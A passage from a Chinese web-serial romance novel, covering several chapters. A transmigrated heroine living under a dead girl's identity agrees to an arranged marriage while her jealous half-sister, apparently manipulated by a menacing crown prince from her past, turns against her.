“好啦,我知道错了。不过三姐姐以后也别再偷偷出去了,父亲今夜有事要办,才没有来找我们,你当真以为,**府中的事吗?”
薛清才是薛家看得最清楚的那个人。
也是真正的聪明人。
若非自己和薛小七长得实在太像,沈木兮都觉得,她这身份压根瞒不过他。
薛宝莹这才住了嘴,但还不死心地小声嘟哝着道:“可惜了,今夜冒险一去,却没见到皇子……”
你这还没见到,你差点一混子,把人家送去见祖宗了。
“好啦,赶紧回去休息吧,若再不乖乖的,我们俩别说是禁足五日,这个月都别想出门了。”沈木兮说。
薛宝莹像是被唬住了,不敢耽搁,乖乖地回去睡了。
沈木兮送走了她,脸上的笑意消失,抵在门板上,捂住自己那从宝月楼回来后,就一直怦怦乱跳的心口,怎么都安静不下来。
这一夜,沈木兮几乎可以说是一夜难眠。
一闭上眼,就是那双记忆里,湿红又委屈的眼眸,站在她跟前,如同厉鬼,步步紧逼,句句质问:
“你为什么要丢下我,为什么要抛弃我……”
“你不是说我们是一家人吗……”
“你骗我,你这个骗子……骗子……”
次日沈木兮是直接被吓得跌下了床。
因为没睡好,还顶着一双黑眼圈。
可把小愿吓着了,还以为小姐昨天半夜被谁给暴揍了。
沈木兮心说,那还不如被打一顿呢。
都怪她这可恶的道德感!
明明留下注定是死路一条!可如今逃走了,她却陷入了那种深深的无力自责和内疚中!
“我没事,随便收拾一下就是了。”
反正也是在禁足,这几日她也不怕再出去了。
相信昨夜那一早,薛宝莹也吓得够呛,断不会再随意出门胡闹。
若是顺利,她希望自己能禁足到他们回京……
可美好的总是在梦里。
沈木兮正打算去院子里晒晒太阳,禁足也得把日子过好不是。
前脚刚出去,外面有人就来传消息了。
说是安排的马车好了,可以出门了。
出门?出什么门,她才不要出门!
“七小姐,是老爷的意思,马车也是他安排好的。”传消息的奴才说。
薛清?
同样被传了消息的,还有薛宝莹。
两个昨日才被设了禁足令的人,就这么莫名其妙的安排到了府门前。
薛宝莹自是兴奋至极。
“我就说父亲没那么绝情,昨日说禁足,不过是吓唬我们的,今日就允许我们出府了。连马车都给咱们准备好了呢。”
沈木兮一脸无语地看着自信的薛宝莹,随后眉心紧蹙。
薛清这葫
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芦里卖的什么药?
“二位小姐请吧,老爷已经在等着了。”
这是接他们去见薛清。
薛宝莹没意见。反正能出门,就算是去见薛清,那也比在后院里憋闷着得很。
反正父亲在外事忙,她指不定还能瞅准时机,偷溜走呢!
她已经先急不可耐地上车了。
沈木兮迟疑了一瞬,还是跟了上去。
其实听说这是薛清安排的后,在联系这几日发生的事,她心中就已经有点猜测了。
但是来到了那地方。
她还是有些惊到了。
这是城中另一家酒楼,比宝月楼要远一些。
薛清并不在这,迎接她们的,是一个老嬷嬷。
嬷嬷满脸带笑,说是薛知府安排她在这等着小姐们,说笑间迎着两人上了楼。
“什么?相亲!”
薛宝莹驻足在楼道上,脸上的喜色,顿时被一片阴云覆盖。
沈木兮摇头,这家伙竟才反应过来吗。
薛宝莹自是不愿意的,沈木兮担心她在外面坏事,只能一把拉住她。
其实她也想让薛宝莹把心思从天家人身上转移,若是今日在这相看的人,是个好男儿,也不是不行的。
“三姐姐,这是父亲安排的,若是父亲知道我们临阵脱逃,怕是要生气了。”
薛宝莹在沈木兮的劝说下,还是走去了二楼。
今日前来相看的,是青州当地富商祝家的公子。
这个祝家虽是商贾出身,但祝家人并没寻常富家子弟的那种铜臭气,时常救济百姓,在城门施粥,在青州是有一定名气的。
还有几个月前的青州水患,也是祝家出了一大份力。
沈木兮对这个祝家的印象,倒是不错。
虽然给薛宝莹相亲,她没必要跟来,但或许是薛清觉得薛宝莹一个人,实在放心不下,所以才把沈木兮叫上陪着。
心中如是想着,可是打开了门,看到雅间里坐着的两位祝家公子。
沈木兮愣住了。
咋还有俩?
她明白了过来什么,突然就石化了。
转过头,对上薛宝莹像是幸灾乐祸的嘲笑!
“嘿嘿,我的好妹妹,现在可有想跑吗?”
“来不及了!”
第72章 相亲
被薛宝莹一把拖拽进了雅间里,沈木兮十分尴尬。
沈木兮以为薛清只打算给薛宝莹相看,怎么自己也被他惦记上了?
虽然薛小七和薛宝莹差不多大,但她到底是家里最小的女儿,又是个庶女,中间还有还几个姐姐,怎么轮也轮不到她吧。
沈木兮当然不知道薛清的心思。
毕竟她怎知道,自己已经在这一年来,无形中成了薛清最看重的女儿呢?
因为薛宝莹这几日闹腾的事,薛清也把心思放在了沈木兮的身上。
觉得这门婚事,还是得提前定下得好。
两姐妹在门口踌躇着的时候。
彼时,祝家两个公子,大公子祝长商,和二公子祝长安,已经在屋中等着了。
薛清倒是真疼沈木兮的,这二位公子可都是嫡出。
无论是谁看上了她,她今后至少都是正经的当家主母。
沈木兮突然有点感动。
原本想离开的步伐,也收了回来。
她已经认定了这个身份,替了薛小七的人生,那就应该帮她履行今后的日子。
无论是简单朴素的寻常百姓,还是成为后宅主母。
这都是她一开始的选择。
沈木兮稳下心绪,拉着薛宝莹走了进来。
两位公子都是很有礼貌,主动起身给两人拉出凳子,还给她们斟满了茶。
祝长商是大哥,长相俊朗,听说他已经执掌了家中的大半家业,果真是常年在外经商的人,看着便要更沉稳些。
祝长安就显得有些年轻不少,和大哥相似的面容,却要单纯许多。
人也有几分羞涩。
在给沈木兮倒茶时,不小心碰到了沈木兮的衣袖,脸直接红了半边,连茶杯都碰倒了。
“薛七小姐,你没被吓着吧?”他急忙帮忙弄桌上的脏污,生怕沈木兮生气了一样。
沈木兮笑了笑,这祝二公子,有点可爱是怎么回事。
“没有没有,我没事。倒是祝二公子,你……没事吧?”他的脸,实在是红得有些太过了……
旁边的祝长商笑着说:“他怎会有事呢。念了小半年,终于念到了今日……咳咳!”
被祝长安踹了一脚,祝长商咳嗽一声才瞬间住了嘴。
什么小半年?
祝长安脸更红了,挠着头,几乎是不敢看沈木兮。
“薛七小姐,应该是不记得我了吧。”
沈木兮更是一脸茫然。她应该记得他吗?
自己来了青州,除了近日这段时日,时常出门。之前的日子,完全是大门不出二门不迈。除了半年前……
几人有一搭没一搭的说着话,一时间忘了旁边的人。
直到沈木兮发现耳边有些太清净了,这才转头。
人呢!
这才一瞬功夫,薛宝莹居然就不见了!
“二位公子还请先在这等等,我姐姐可能身子不适,我出去看看。”
沈木兮赶紧跑了!
“薛七小姐……”
祝长安依依不舍地坐了回去,吐出一口气。
“大哥,都是你,方才说什么呢,看把人家姑娘吓跑了吧?”
祝长商无奈摇着头:“我不说话,你都憋了半年了,还能指望你?”
祝长安想回嘴,又自知理亏,顿时不说话了。
还记得在半年前,他出城办事,在路上被山野里的坏人劫持了马车。
那道身影,宛若天女降临一般,就那样出现了,帮他吓跑了那群人。
往日蕙质兰心,知书达礼的女子他不少见,可还是第一次,见到这样勇猛的女子。
后来打听,才晓得是薛家小姐。
只是这位薛七小姐不爱出门,那次还是因为水患紧急,薛大人在难民营一直未归,杳无音信,她才出城的。
也因此,让他更钦佩起了这个女子。
薛家小姐不少,唯独她敢在暴雨水患之时还出城前去灾区寻父。
只是后来,一直没遇上。
谁曾想,突然听到说薛家女子要议亲了,其实一个便是沈木兮。
他这才抓上自家大哥,陪自己来了这一趟。
另一边。
沈木兮在酒楼里寻了一圈,也没找到人。
这薛宝莹,肯定是借着今日出门,又动起了歪主意。
不会又去了那宝月楼吧?
她没办法,只能跑出去继续寻觅!
谁曾想,她人刚走,一道娇小身影,就从旁边堆满杂物的小巷子里探出头。
“小七
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,对不起。”
无论如何,嫁去天家,都是我的第一目标。
我也必须要这样做。
薛宝莹下定决心,待沈木兮追逐自己的身影远去,这才从巷子里走了出来。
她知道沈木兮去了宝月楼。
自己只需要等她没找到人,离开时再去,便可以和她擦肩而过。
刚从巷子里绕出来,因为没注意,被从旁驶出的一辆马车给撞了。
奇怪。
这酒楼比较偏,路边行人也只有寥寥数人,有这马车出现,她怎么没听到声音?
不知道的,还以为这马车一直在等着……
因为撞了个正着,薛宝莹重重摔在了地上,手都给擦破了。
马车停下,一缕古怪的幽风拂来。
紧接着,一道身影便从车内走出,朝着她伸手。
“没事吧?”
暗哑拖长的语调,听得薛宝莹一愣。
日光下,她缓缓抬起头。
他站在光影下方,恍惚看到那高大颀长的身躯,还有玄袍上的紫金花,正映着日光,有几分刺眼。
薛宝莹愣住了。
这是她第一次见长得这样好看的男子。
眼如狐,朱唇如血玉,带着妖冶的气息。
正在对着她扬唇笑着。
可明明此刻抬头正烈,四周的雪也化了,她却是感觉到了一股骇人阴气……
说来也是奇怪,眼前这般惊才绝艳,宛若一块无暇墨玉般的男子,怎么有缕头发是灰白色的?
“我……我没事。”薛宝莹挣扎着想自己起来。
却还是被对方给伸手扶起。
“你受伤了?”北辰景看着她手腕上的伤口,微蹙眉头,很苦恼的样子,“你要去何处,我送你去。既是把姑娘撞到了,那理应对姑娘负责的。”
薛宝莹觉得不太好。
这个人她不认识,而且无论是从此人的气场,还是他的高贵穿着,都不会是简单人物。
“我要去宝月楼,若是顺路,我可以送姑娘前去。”他红唇一勾,又道。
听到宝月楼两个字,薛宝莹眼睛便亮了。
“真的吗?”
于此时,另一边还在焦急寻找薛宝莹的沈木兮,突然感觉后背一阵凉意!
第73章 相见不相识
她已经许久没有这种感觉了。
这让她不由想到了在京中被他“囚”在假客栈的那段日子,每时每刻,她都是如此!
沈木兮豁然转身,可身后什么人也没有,更没有预想中那个人的身影。
或许是知道他在青州,所以她**病也跟着犯了吧。
薛宝莹已经跑了许久,沈木兮不敢耽搁,压下心绪,继续朝着宝月楼去。
刚走了几步,那一种被人窥探,紧紧跟随的感觉,又再次爬满了她的背脊。
这一次,沈木兮很确定,自己的身后有人!
不确定是谁,但一定不是好事。
她悄无声息绕去旁边的拐角,顺起墙边的棍子,拿起来就朝身边的人揍去!
“喂喂喂,昨夜没把我打死,今天又想来一棍吗!”
看清来人,沈木兮赶紧收了动作。
“北辰殷,怎么是你?”
她环顾四周,把北辰殷拽去了旁边的巷子,小声地问:“就……你一人吧?”
北辰殷知道她在担心什么:“嗯,放心,**。”
他来这,就是专门来找她,给她提个醒的。
知道谢景愿没在这,沈木兮吐出一口气。
对北辰殷说了自己昨夜不小心和他遇上的事。
北辰殷拍着她的肩:“放心吧,他即便看到你这张脸,也不会认出你。”他自信满满地说!
沈木兮很是困惑,这才听北辰殷说起了那具她的“尸体”。
“哼,亏我还帮你离开,你居然弄一具假尸体来骗我!若非在青州看到你,我差点就真以为你早已经……”北辰殷说着就来气,气呼呼地抱胸冷哼。
沈木兮听得不明不白:“什么尸体,我没有弄尸体啊。”
等等……
“那具尸体,是不是在你送别我十里外附近的山道边?”
北辰殷点头。
“是啊,若不是你弄的尸体,那又是谁?”
沈木兮脸色顿时变了,在心里默默哀叹一声。
那是薛小七,可怜的薛小七。
想着她被秦姨娘害死,自己顶替了她的人生,而她却被遗尸在了荒野。
沈木兮说不出自己心里是什么滋味。
北辰殷没等到她的回答,也没再问了,只继续又道:“总归,你现在不用担心,当时看到尸体的,除了我外,还有……他。那尸体也是谢……北辰景弄回去的。”
怕吓到沈木兮,他没说出尸体被带回去后发生的那些事。
北辰景吗?
是啊,沈木兮怎忘了,按照剧情,男二回宫后,便改了名字。
谢景愿只存在于她的回忆中,现如今这一位,是当今太子,北辰景。
“嗯,这件事,我知道了。”
北辰殷的话,的确让她安心了不少。
没想到自己替了人家薛小七的身份,人家死后,还帮了自己一把。
沈木兮越发觉得亏欠于她。
默默在心里发誓,她一定要尽力弥补。
好比这次的婚事。
只要对方是个可以托付,且让薛清满意的人,她便不会有任何的异议。
阔别了北辰殷,沈木兮继续去寻找薛宝莹了。
听北辰殷说,今日北辰景不在城中,她也算安心了几分,进酒楼的时候,没有再化妆遮掩。
也没有必要去遮掩了。
既然他都以为她**,即便是现在这副样子出现在他跟前,当也是无事的。
反而遮遮掩掩,那才让人怀疑。
整理好了心绪,沈木兮走进了宝月楼。
好在,她总算在这找到了薛宝莹。
发现她时,她正偷偷摸摸的朝着三楼去。
只是那小妮子跟泥鳅一样,一看到她出现在了大堂,当即就溜了。
大堂里来来往往的都是人,还有送菜的伙计,等沈木兮追过去时,她已经不见了!
也是一年太娇养了,她这身子骨,是没以前在猎林时好使,这一路下来,她累得直喘气。
正好在楼道上喘气的档口,后面一个送菜的伙计路过,没瞧见半蹲下的沈木兮。
沈木兮起身时,那盛着热菜的托盘,直接就朝着她头上洒去!
她反应过来时,已经迟了。
差点要迎面痛击!
有人拽住了她的胳膊,将她往旁边一拉。
那熟悉的力道,和动作……
沈木兮的脸色顿时就变了。
但很快她又恢复如常,当真像是“第一次”相见,缓缓抬头看着眼前人。
“谢谢这位公子……”
入目便是那精致绝伦的下颚……然而方才的话还在唇边,她却是愣住了。
他的头发。
怎么……
看到那一截灰白青丝,沈木兮的心微地一颤。
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谁知,在看清沈木兮的脸后,对面的北辰景不过是在她脸上多停留了一瞬,随后转开眸子,很是平静冷淡。
甚至在方才两人目光对视时,他的眼神除了一瞬的异色外,完全没有任何的波动。
如同北辰殷所说,他是接受了自己死掉的事实。
所以见到个长得像的人,已经不会有大反应了。
在北辰景身边的侍卫离阙,这时已经走了出来,挡在愣住的沈木兮跟前。
“还请让让。”
他还是还把沈木兮往旁边一推。
就这样,北辰景不再多看她一眼,也没有管身边人对她的推搡,好像方才真的只是路过,在这里十分随意扶了她这个“过路人”一把。
沈木兮身子晃了晃,才算是站好。
而他,携着他那身高贵清冷的玄袍,和那一缕灰白青丝,就这样垂眸从沈木兮跟前漠然而去。
他人远去,沈木兮都好像没反应过来,唯独那抓着扶栏的手,在缓缓…收紧……
“薛小七!原来你是这样的人!”
前面北辰景的人还没出了宝月楼,一道气呼呼的声音,已经响在了她的身后。
是满脸怒火的薛宝莹。
比起以往她发小脾气的样子,此刻她的眼里,多了不少冷意。
“我说你怎么一直阻挠我,不让我接近天家!原来你是怕我抢了你的机会是不是?”
什么?
薛宝莹的脸色愈发的冷漠,就像是一个陌生人。
“薛小七,我当真把你当成亲姐妹,没想到,你是如此心机!”
若非她方才看到了那一幕,见到她朝着那人身上撞去,自己怕是这辈子都不知道!
薛宝莹完全明白了!
沈木兮却是一脸茫然:“宝莹,你到底在说什么?你是不是误会了什么……刚刚和那个人,只是个偶然。”
是有人给她胡说了什么吗?
这妮子性子单纯,最容易被人拿捏的。
薛宝莹却是一把将沈木兮甩开!
满脸都是沈木兮从未见过的冷嘲讥讽。
“让开,你这个低贱的庶女,别碰我!”
沈木兮被猛推了一把,直直撞在了扶栏上,疼得她倒抽气。
等抬头时,眼前已经没了薛宝莹的身影。
而沈木兮不知道,今日的这一幕,仅仅只是个开始。
第74章 跟我回家
薛宝莹突如其来的转变,让沈木兮措手不及。
她走后,沈木兮又出去找了许久。
但这一次,无论如何都寻不到薛宝莹的身影。
不仅仅是薛宝莹,连北辰景也彻底的消失了。好像方才和他的相遇,只是一个梦境,一场泡影。
因为一整日在外面奔波太久,沈木兮回去的时候,已是浑身狼狈。
她不知道自己在街道上走了多久,更没有薛家人出来寻她。
等她回去时,天色早就黑透了。
虽然没寻到薛宝莹,但回想着方才他如看陌生人一样的疏冷和漠然,沈木兮也算是松口气,心中最大的石头,算是可以落地了。
想来,今后的日子里,自己和他之间,应该不会再有任何交集。
“小姐!”
守在府门外的小愿,朝着沈木兮飞奔过来。
“小姐终于回来了,担心死奴婢了。”
“三小姐可回来了?”沈木兮一来便问。
小愿点点头:“三小姐早就回了府。”
沈木兮放下心来,可能是今日遇到的事太多,她此刻放松下来,反而眉眼间尽是憔悴。
正准备进去,却瞥见小愿的脸色有些不对劲,好像还有点欲言又止。
她这才注意到,府中的氛围,有些古怪。
而且小愿这一年来因为一直跟着自己,人也是十分散漫和随意,往日沈木兮无论怎么出门,乃至半年前她单枪匹马去寻薛清,几日未归,小愿都没有着急出来,而是在屋中等候。
从未像是今日这般。
沈木兮心头当时感受到了什么:“小愿,是不是府中出什么事了?”
小愿咬着唇,压低声音道。
“小姐,老爷还没回来,这会儿夫人正在前厅,您过去的时候,一定要小心着点啊。”
沈木兮带着狐疑和隐隐不安的心,朝着前厅去了。
她过来时,欧阳氏和薛宝莹母女俩,正在前厅里说着话,薛宝莹像是受了委屈,还在抹眼泪。
欧阳氏已经看到她了,一巴掌拍在桌上。
“还知道回来!”
“滚过来。”
沈木兮眼神微变。
在这一年来,欧阳氏虽然对她不像是薛宝莹那样贴心宠着,但也是从没有苛责的。
今日,应该算是欧阳氏第一次对沈木兮发这么大的脾气。
沈木兮上前,在欧阳氏跟前规矩站好。
她想欧阳氏恐还不知道今日发生的事,怕她被薛宝莹误导,正想主动解释。
欧阳氏就已经道:“你居然胆敢擅自离开,把祝家公子晾在酒楼?你哪里来的胆子!”
沈木兮属实没想到,欧阳氏责备自己的,居然是这件事。
不过这件事,也的确是她的不对,竟把祝家公子丢在酒楼自己跑了。
可当时她也是为了寻薛宝莹。
但很显然,薛宝莹并没有把这件事的原委告诉给欧阳氏。
“母亲,是女儿的不是,只是女儿后来回去时,祝家公子已经走了。”
“还能指望你吗?若非宝莹回去,帮你收拾完了烂摊子,我薛府和祝家,怕是就要水火不容了!”
沈木兮闻言,下意识抬头看了眼薛宝莹。
她回去了?
薛宝莹垂着眼眸,没有看她。
欧阳氏又道:“宝莹因为身子不适暂时离开了酒楼,你就应该替她留下好生陪着祝家公子,今日差点出事,若是你父亲怪罪下来,我也没有办法了!”
“去祠堂跪着吧,跪两个时辰再说!”
欧阳氏虽然很是气愤,话语苛责,但很显然,也是因为怕沈木兮给薛家惹来祸端,纵使语气不好,但也没有要大肆责罚她,仅仅是让她去罚跪。
今日本就是沈木兮自己没有思量周到,是以被罚跪,她也不再辩解什么。
“是,女儿知道了。”
站直身子的时候,沈木兮再次看去薛宝莹。
这一次,薛宝莹没有再别开视线,而是选择和沈木兮直接对视。
她的眼神里,没有一点陷害她的惊慌,反而都是冷意。
仿佛这就是沈木兮该得的。
沈木兮眉心紧皱。
记忆里的薛宝莹,是不会像这样满心算计,她是一个很单纯的女子。
她也不可能算计好,恰时提前回来,给自己设下这一局。
从当时在宝月楼见到她时,沈木兮就有种预感了。
预感,薛宝莹是受了什么人的指使。
或者是……被有心之
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人挑唆。
她突然就想到了,那张妖冶阴冷,对她不屑一顾的脸。
沈木兮心中莫名的警铃大响。
带着这种深深的惊骇和困惑,被人带去了祠堂!
在沈木兮被带走后,薛宝莹的目光,才微微敛下。
她吐出一口气。
是她错了吗?
不是的,她没错,只有铲平眼前的阻碍,她才能爬到她想去的至高点。
送走了欧阳氏,薛宝莹叫来身边人,小声地说:“祠堂的事,就不必要告诉父亲了。”
身边人眼神闪烁,顿时明白了这意思。
薛清还是很宠七小姐的。
“还有,这几夜没有下雪了,祠堂也不用再用木炭。”
身边人像是第一次见自家三小姐,震惊之余,也不敢多说什么,当即去办了。
……
被带到祠堂的沈木兮,她的神思还在游离中。
她被自己方才的想法给惊到了!
可很快,她又自我否认。
若是北辰景早就认定自己死掉,那何必再利用薛宝莹对她出手?
这不是很奇怪吗?
但……还有另一个,更可怕,乃至恐怖的猜想……
沈木兮都不敢往下去多想了!
两个时辰的罚跪,在这个冬夜里,实在漫长。
外面下起了雪,祠堂本就冷冰冰的,还没有炭盆,更显得如同冰窟。
沈木兮这一年来娇养惯了,才跪了小半个时辰,就已经有点吃不消了。
她身子晃了晃,差点摔了去。
脑海中,全部都是北辰景如今那张高冷妖冶的脸……像是梦魇一样,怎么都甩不掉。
就在她脑袋昏昏沉沉,好像要晕厥过去时。
她只觉有人抱住了她,魔音靡靡,凑在她的耳边,勾起那好似被血染红的唇,扬唇低语说:
“跟我回家……”
咯吱一声!
祠堂的门被里面的沈木兮猛地推开!
她几乎都是跌出来的!
重重摔在了地上!
明明都要冻**了,可沈木兮却是满头冷汗,仿佛经历了一场无比可怕的噩梦。
“方才,祠堂可有人来?”沈木兮攀着门框,面色掩在黑夜里,声音颤抖又紧张地说!
第75章 太子殿下不见人
守在外面的奴才,一见到她自己出来了,脸色微变。
随后皆是摇头。
“七小姐,没有人啊。”
“小姐,您还是进去跪着吧,夫人也不是真心想罚您的。”
但若是不乖乖罚跪,后面的事怕是更多了。
奴才都在好心地提醒她。
可沈木兮却是再也坐不住了。
没人比她更了解北辰景!
沈木兮不顾身边人的阻拦,抬步直接跑了出去。
“七小姐,你要去哪里!”
沈木兮飞奔来到薛宝莹的住所。
薛宝莹还没睡,正安静地坐在梳妆台前。
她梳着头发,面前的镜中,忽地出现沈木兮的身影,动作微顿,眼神闪烁了一瞬,微微咬了咬唇,随后又露出冷淡的姿态。
“两个时辰过的这么快吗?怕不是吧。”
“妹妹不想被母亲再次苛责,还是快回去吧,我就当什么也不知道。”
沈木兮大步走来,眼神里带着从未有过的严肃和认真:“宝莹,你是不是见了什么人,是不是!”
薛宝莹脸色变了瞬,但很快恢复。
“这和你有什么关系?”
沈木兮上前,抓着她的手臂,激动看着她!
“宝莹,你千万别再和他接触了,这一切都不是你想的那么简单!”
“为什么不可以?”薛宝莹一把推开她,先前心中最后那点心软,也在此刻荡然无存,再看沈木兮的眼神,全然都是冷意,“你凭什么这样说他?他哪里对不起你了吗!”
这句话,瞬间怼沈木兮哑口无言。
对不起吗?
在和他的这段关系里,她已经说不清,到底是谁对不起谁了。
“你就是早已知道那个人的身份,所以不想我去接触,是不是?薛小七,我真是看透你了。”薛宝莹再也不看她,“我不会对母亲说你私下离开祠堂的事,你最好是赶紧回去吧!”
“我也在这告诉你,无论如何,我都不会改变自己的决定。”
“出去!”
沈木兮放弃了。
薛宝莹已经完全听不进去她的任何话语。
同时,她也更加肯定,薛宝莹已经见过了北辰景!
更肯定,他一定是盯上了她。
因为除此之外,北辰景没有必要针对薛家。
从这边离开后的沈木兮,没有再回祠堂。
而是趁着夜色,一个人默不作声的去往了宝月楼。
这是一条,她原本一直拼命逃离的路。
今夜她却主动踏上了“返程”。
沈木兮当然不是去承认自己身份的,那无疑是找死!
她去,只是想得到一个原因。
到底是因为她这张“相似”的脸,还是因为他已经知道了……!
只可惜,来了宝月楼,她没有见到本该想见的北辰殷。
这小子今夜好像不在此。
沈木兮有些失落,但更多的是紧张。
站在宝月楼里,她迟疑了许久,终于还是鼓足勇气,又朝着三楼去了。
她是以薛家小姐的身份求见的北辰景。
是以心里还是有点数的。
只要自己咬死不认,谁也揭穿不了她的身份。
没想到,等来的却是一句冰冷的回绝话语。
“我们殿下不见人,小姐请吧。”
沈木兮心中的古怪感更甚。
若他是单单为了针对她,自己送上门来,岂非正合他意?
这也是沈木兮的故意试探。
可结果却超乎她的预料。
是她想多了?
她最后再看了眼三楼方向,眼神复杂的点了点头:“好,我知道了。”
沈木兮转身离去,三楼雅间里的男人,侧头望了眼楼下漠然离去的娇小背影,眼帘微深,带着一股诡异的引诱。
离开宝月楼,外面又下起了大雪。
沈木兮罚跪中途离开,这会儿欧阳氏怕是已经知道了。
她回去后会好好的承认错误。
至于薛宝莹。
她已经尽力了。
既然这是薛宝莹自己的选择,她何必非要去涉足?
尊重他人命运,放过别人,也放过自己吧!
只是这雪夜实在太冷,比出门的时候冷了好几度,沈木兮没披上白狐披风,这会儿冷得已经有点打哆嗦了。
就在她在半路上艰难前行时,马车声从身后缓缓传来。
沈木兮抱着身子僵硬地往后一瞥。
车帘被人掀起,朦胧夜色里,只看到一道年轻的锦袍男子身影。
以至于
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她的神情有些恍惚。
“景愿……”两个字,下意识就要从她唇边脱口而出。
“薛七小姐,真的是你!”
直到那带着几分陌生又喜悦的声音传来,沈木兮这才恍然。
她定睛一看,才看清这是祝长安的脸。
祝长安见她冻得难受,赶紧下车,把自己的披风给她披上,然后带着她上了车厢。
“方才我在宝月楼里,见到一抹身影有些眼熟,没成想还真是你!”
祝长安满脸都是遮掩不住的喜色,又带着一些不好意思,一边说着一边挠头。
“对了,今日七小姐没事吧?”
沈木兮不知是被冻着了,还是怎么,从宝月楼离开后,便是神思不定。
“什么?”她像是没听清。
祝长安又道:“今天白日时,我看你着急出去,后来薛三小姐回来了,也没见你的身影,我还以为出什么事了。看小姐现在的样子,事情应当是已经解决了吧?”
身边年轻公子关怀的话语,让沈木兮混乱的心,慢慢安定了下来。
她抬头看着他,笑着点头说:“嗯,算是解决了吧。”
祝长安一看就是个没心机的大男孩,听沈木兮这样说,还真信了,长舒一口气。
“那就好,那我也就放心了。”
“嗯?”沈木兮抬头。
祝长安被她看得,脸微微一红,他连忙解释。
“不,不是这个意思,我是说……你没事,我就没事了。”
磕磕绊绊半天,才说完一句话,原本还沉浸在沉重心绪里的沈木兮,也被这小子给逗笑了。
见她笑,祝长安也傻笑起来。
祝长安不放心沈木兮,非是要把她送回家。
回去的时候,得了消息的欧阳氏,已经在府门前等着了。
知道沈木兮罚跪途中擅自跑了出去,欧阳氏的脸色很不好,可此刻见着一起回来的还有祝长安,她有些意外。
因为祝长安的亲自护送。
欧阳氏再多的怒火也只能强压下,不过她还是满脸的不悦,皱眉问沈木兮:“你去何处了?”
——
(题外话:咳咳,男主说我不是高冷,我只是在下一盘大棋……我的阿兮,跟我回家……)
第76章 定下婚事
沈木兮低垂着头,还没说话。
祝长安已经先替她回答了:“夫人莫生气,是我相约小姐出门的。天寒地冻,还是先把小姐带进去好生暖暖身子吧,她像是被冻坏了。”
祝长安不是个傻子,看得出来沈木兮大晚上跑出去,府中嫡母还在这里追讨,肯定是遇到事了。
原本欧阳氏今日生气,便是因着她觉得沈木兮扔下祝家公子,怕招惹祝家人生气,届时给薛清引火上身。
现在见祝长安没有半点生气的样子,还这么维护沈木兮,自然也就放心多了。
“你啊,跑去见祝公子,怎么不告诉母亲?害得母亲担心你这么久。”欧阳氏说的担心不是假的,这些年她的确把薛小七当成自己的孩子在照顾。
“好了,快进府吧。谢过祝公子了,他日定相送厚礼感谢。”
送走了祝长安。
欧阳氏把沈木兮叫走,说了许久的话。
大抵是关于薛家和祝家的婚事。
从方才那一幕来看,沈木兮其实已经猜到七七八八了。
“这件事,本就是你父亲定下的,祝二公子是个好人,对你也不差。小七,母亲是不会害你的,可明白?”
“母亲,不用说了,这门婚事,我应下。”沈木兮缓缓地开口说。
欧阳氏本来还想继续劝说,甚至已经准备好了其他的说辞。
她是过来人,方才祝公子在时,她能感觉得出,祝公子说一句话就会偷偷打量沈木兮的神色,时不时还不好意思地挠头,显然是喜欢她的。
相反,沈木兮表现的就要平淡许多。
欧阳氏以为她有所顾虑,未想这么快就应了。
“你?你确定?”
沈木兮很认真地点头:“是的,母亲,我确定。”
这件事,她早已决定好了,自然不会有任何的异议。
欧阳氏心中大喜:“你啊,也是个闷葫芦,早这么说,母亲也不会罚你跪祠堂了,来人啊,赶紧把七小姐送回院子。”
送走了沈木兮,雪夜黑暗中,一道身影,从薛府的屋顶上飞过。
瞬间没入了更深的夜色里。
待下一刻,那人身影已经出现在了宝月楼中。
随风飘舞的幔帐下,男人侧躺着,听完禀报,他眼底闪过一丝久违的湿红幽光。
“知道了。”
……
次日。
薛清回府后,便听得欧阳氏说沈木兮和祝家二公子的婚事已经定下了。
她还安排人回了祝家的帖子。
薛清挑眉:“七丫头直接就同意了?”
欧阳氏把昨夜的事,捡最主要的都给说了。
薛清听完,摸着胡须,满意地笑了。
“她没意见,那便好。”
沈木兮是个聪明孩子,肯定知道他让她和祝家人联姻是为何。
平淡方能长久,那些纷争,还是远离的好。
不过自家小七本就是庶女,祝二公子是嫡次子,虽是在青州偏远之地,但嫁过去,也不算委屈了她。
“那宝莹呢?”薛清又问。
欧阳氏无奈叹气,把薛宝莹从昨夜回来,就关在屋中不见人,还拒绝了定婚的事,一一告诉给了薛清。
薛清面色顿时严肃起来:“胡闹!婚嫁之事,父母之命媒妁之言,有她说不的份吗?”
还是他早年间太顾着外面的事,没有好好教导府中孩子,才把薛宝莹养成了这样。
“告诉她,这件婚事,已经定下!谁也无法更改!”
欧阳氏还想说什么,但又咽了回去。
薛宝莹得知后,虽然很气愤,也奋力阻挠过,但这一次薛清是铁了心让她嫁去祝家,还提前锁了她的屋门,她再怎么闹也无济于事。
相比于薛宝莹,沈木兮就要安静多了。
自己昨夜求见太子殿下,可北辰景当时没有见她,事后到了今日,也没有再传来任何消息。
就好像,她真的只是他在路边碰到的一个路人甲,对她没有半点上心。
可能是这片刻的安宁,带给了沈木兮一种错觉。
让她误以为,这些风波,真的会这么消退。
因为两府定下了婚事,早上回贴才传去了祝家,午后时分,就传来消息,说祝家二公子相邀沈木兮出门游玩。
青州风景秀丽,城外也有一些好景致的。
沈木兮没有拒绝。
既然答应了婚事,婚前联络感情,也是正常。
出府之前,沈木兮路过薛宝莹的院子。
见她院子内外都是被薛清安排的人
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留守,如今是一步也出不得。
两人眸光对视,薛宝莹再看沈木兮的眼神,多出了不少冷漠之外的怨恨。
好像在薛宝莹看来,这门婚事被迫定下,就是沈木兮给自己使的绊子。
她嫁不了天家,便也拖着自己也一起嫁不了。
沈木兮看着薛宝莹眼里对自己的无尽怨恨,眉心紧皱。
原来相处了一年的好友,眨眼间,也能成为仇敌。
沈木兮突然觉得有些累。
她没有回应薛宝莹什么,转身离去。
祝长安老早就在外面等着了,比他们相约定的时间,还要早。
沈木兮问起,他才不好意思地说:“我怕路上堵着耽搁,就早些过来了。”
这……
两府之间的街道都是青州城的主干道,怎会堵住?
沈木兮看着他红彤彤的耳朵,偷偷一笑,没有点破。
祝长安见她笑了,他也跟着笑。
“昨夜回去我还一直担心七小姐心事重重的,怕是心情不好。现在见小姐笑了,我才算放下呢。”
沈木兮有几分讶然,看着他眼底的乌青:“公子昨夜没睡好,竟是在想这件事?”
祝长安心说自己表面的有这么明显吗。
不过沈木兮说错了,他除了担心此事外,更担心的是人家不愿意嫁给自己。
谁曾想,一大早薛家就送来了回贴。
说是薛家小姐答应了!
祝长安一扫昨夜回去的阴霾,赶紧就来了。
“小姐有特别想去的地方吗?”他兴奋地问。
